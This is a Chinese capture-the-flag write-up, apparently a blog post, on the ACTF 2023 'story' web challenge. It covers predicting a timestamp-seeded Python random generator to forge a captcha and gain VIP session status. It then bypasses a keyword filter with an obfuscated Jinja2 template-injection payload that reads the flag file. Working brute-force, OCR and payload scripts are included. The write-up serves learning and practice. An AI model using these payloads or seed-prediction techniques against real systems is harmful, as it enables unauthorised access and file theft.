2023ACTF Story Writeup

story

设置vip

下载附件进行源码分析

分析app.py,过一遍就发现了render_template_string(),应该就是需要 ssti来读flag

Untitled

其中的story在/write路由中可控,唯一的条件就是需要session[’vip’] = True

只有/vip路由上可以设置session[’vip’] = True,因此需要做重点分析

Untitled

/vip路由里的逻辑其实很简单,通过generate_code()生成一个captcha,用户通过json格式发送captcha跟生成的captcha对比,相同则设置session[’vip’]=True

那就重点分析generate_code()是如何生成captcha的,如下代码。通过分析,generate_code()就是一个很常规的利用random来生成随机字符串,没传参时默认长度为4。

Untitled

涉及到random很容易联想到最近很热门的jumpserver漏洞,具体参考一下p牛的文章:https://www.leavesongs.com/PENETRATION/jumpserver-sep-2023-multiple-vulnerabilities-go-through.html

我没有具体看过jumpserver这个漏洞,就大概看了下,其实python的random和php的一样,如果seed固定的话,值是可以预测的(还需要考虑操作系统等因素)。

Untitled

那么就搜索一下哪个地方有设置seed,并且这个seed我们可以直接或间接的获取。

./utils/captcha.py的Capycha类在初始化时,就设置了seed,当初始化时没有指定key参数时,则设置seed为int(time.time())+random.randint(1, 10)

Untitled

然后翻找一下就能发现,/captcha路由中有初始化Captcha()类的操作,且没有设置key,因此每次都可以通过访问/captcha来重新设置seed。

Untitled

这里面的int(time.time())是获取当前时间戳,这个我们很容易能获取到,唯一需要猜测的就是后面的+random.randint(1,100)。这其实写个脚本爆破一下很快就出来了,最多就100次循环。

# coding: utf-8
import time
import random

code = 'twaa'
seed = int(time.time()) - 100

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))

for i in range(1, 10000):
    random.seed(seed + i)
    if code.lower() in generate_code().lower():
        print('seed: ', str(seed + i))
        break

我们本地搭建题目环境测试是否正确,然后把Captcha类初始化设置seed时的值打印出来。

Untitled

访问登陆页面,获取验证码,然后手动把验证码填写到脚本的code变量中,然后运行脚本,可以看到获取的seed值跟题目环境打印出来的一致。

Untitled

seed拿到了,接下来就是预测/vip路由生成的captcha值。

这里有个问题需要注意,当设置了seed后,想要获取到相同值需要执行相同次数的random,例如下图:

Untitled

如果生成generate_code()之前,执行的random次数不一致,会导致生成的结果不一样,如下图。所以需要准确计算/vip路由在执行generate_code()之前,一共调用了多少次random模块生成随机值。

Untitled

由于/captcha路由访问后调用random的次数有点多,这里有个偷懒的办法,就是在app.py中写一个路由,模拟执行一遍/captcha,然后打印执行了后generate_code()生成的值。如下:

Untitled

这里需要注意把Captcha类中初始化seed的操作改一下,不然就成了我们真实seed + random.randint(1,100),那么设置的seed就不正确了。

Untitled

为了验证效果,我们再把/vip路由中生成的captcha打印出来,如下图。

Untitled

接着我们访问一下/captcha初始化seed

Untitled

访问/vip路由,获取到生成的captcha。

Untitled

脚本修改code为前面访问/captcha生成的验证码,然后爆破出seed

Untitled

这时候访问我们自己写的/getcode路由,可以看到生成的值跟直接访问/vip的值一致,说明预测成功。

Untitled

接下来就直接访问/vip发送code,就能获取到vip权限了。下图是我重新生成的code,所以跟上述截图不一致。

Untitled

SSTI

接下来就是通过/write设置session[’story’],访问/story进行ssti读flag就可以了。

这里唯一的问题就是/write的时候会检测输入的payload,而这里的规则并不是全部都检测,而是通过随机数来随机生成要检测的规则。(对此我的评价是:6)

Untitled

插曲:还有一个自己踩的坑,刚开始一直以为当waf检测到的时候vip就会被设置成False。

Untitled

但后面发现,这里把vip设置为False会生成新的session,我们只要不去更新它的session就可以重复使用我们vip为true的session。

Untitled

由于是随机数,所以是有几率只获取一个规则来检测,所以这里我们挑一个最“弱鸡”的规则来绕就可以了,我们选择了第六个规则,用脚本不断write,直到返回:success(这里后来才想起来可以通过读取config中session的secret_key,然后伪造session,直接跳过判断规则了)

# coding: utf-8

import requests
while True:
    write_url = 'http://124.70.33.170:23001/write'
    payload = r"{{self['_'+'_'+'cla'+'ss_'+'_']['_'+'_'+'bases_'+'_'][0]['_'+'_subcl'+'asses_'+'_']()[210]['_'+'_init_'+'_']['_'+'_globals_'+'_']['_'+'_builtins_'+'_']['open']('/app/flag').read()}}"
    head = {'Cookie': 'session=eyJ2aXAiOnRydWV9.ZT5bgw.gnDqIbNhF87kuUnfTIa2MIO3vg0'}
    resp = requests.post(write_url, headers=head, json={'story': payload})
    if resp.json()['status'] != 'error':
        print(resp.headers)
        break
    else:
        print(resp.json()['message'])

然后拿着跑出来的session访问一下/story就能拿到flag

Untitled

另外一个小插曲,由于是共享环境,比赛时估计有人一直在爆破验证码,导致seed一直更新,所以测试并不顺利,当时的做法是上获取/vip路由captcha的方式用脚本实现自动化,然后挂着跑。验证码用的ddddocr来识别。

# coding: utf-8

import random
import time
import requests
from ddddocr import DdddOcr

vip_url = 'http://124.70.33.170:23001/vip'
captcha_url = 'http://124.70.33.170:23001/captcha'
sess = requests.session()
# sess.proxies = {'http': 'http://127.0.0.1:8080'}

def generate_code(length: int = 4):
    characters = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    return ''.join(random.choice(characters) for _ in range(length))

while True:
    captcha_resp = sess.get(captcha_url)
    ocr = DdddOcr()
    first_code = ocr.classification(captcha_resp.content)
    print(first_code)
    timestamp = int(time.time()) - 5
    for i in range(1, 100):
        random.seed(timestamp + i)
        if first_code.lower() in generate_code().lower():
            timestamp = timestamp + i
            break
    else:
        print('not found seed')
        continue

    print(timestamp)
    code = requests.get('http://127.0.0.1:5001/getcode/' + str(timestamp)).text

    resp = sess.post(vip_url, json={'captcha': code})
    print(code)
    if 'Now you can' in resp.text:
        print(resp.headers)
        exit()
    else:
        print('error')

赛后又跑了一遍,发现基本几次就能跑出来了。

Untitled

posted @ 2023-10-30 21:44  Gcker  阅读(16)  评论(0编辑  收藏  举报